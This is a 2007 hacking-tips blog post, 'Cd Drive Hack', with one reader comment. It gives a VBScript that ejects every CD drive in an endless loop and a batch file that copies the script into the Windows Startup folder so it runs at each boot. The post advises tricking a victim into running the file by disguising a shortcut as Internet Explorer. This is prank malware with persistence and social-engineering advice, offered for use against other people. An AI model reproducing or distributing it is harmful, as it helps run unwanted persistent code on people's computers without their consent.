Subscribe to Hacking Truths. Now, 14031 members!      RSS Feed Be Our Fan on Facebook Twitter SMS Alerts

Home » Hacking Computer

Cd Drive Hack

17 November 2007 One Comment Posted By Ashik
StumbleUpon.com
Share

Here I will show you a basic VBS script that opens a cd drive every time found closed. so ultimately always opens CD drive till closed just copy paste this code into Notepad (any basic ANSI standard text editor) and save as CDfun.vbs and dont forget the .vbs part



set wmp = createObject(“wmplayer.ocx.7″)
set drives = wmp.cdromCollection

sub open_saysame()
on error resume next
do
if drives.count >= 1 then
for i = 0 to drives.count – 1
drives.item(i).eject()
next
end if
loop
end sub

open_saysame()

Now this is funny but what if it was even funnier. what if every time you started you r computer it loaded? that could make it even better… so open a new notepad document (blank) and insert this code into it NOTE: numbered to show which line it is.

1:)copy CDfun.vbs “c:\Documents and Settings\%username%\Start Menu\Programs\Startup\”
2:)CDfun.vbs

Save this as run.bat, now comes the fun part. all you need to do is get them to somehow open this run.bat. there are many ways. one way is to make a shortcut to it called “internet Explorer” and right click to change properties on icon. that way it will look just like Internet Explorer.

Popularity: 1% [?]


Enjoyed this article? Subscribe to Hacking Truths and get daily updates about new cool websites and programs in your email for free.


One Comment »

  • odormody11 said:

    Hi, how would I make a delay on this so the drive starts opening after 20mins? Can you please reply to odormody11@nmhschool.org

    Thanks

Note : If you have any Query related to the above Article please Post it to the Support Forum.

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.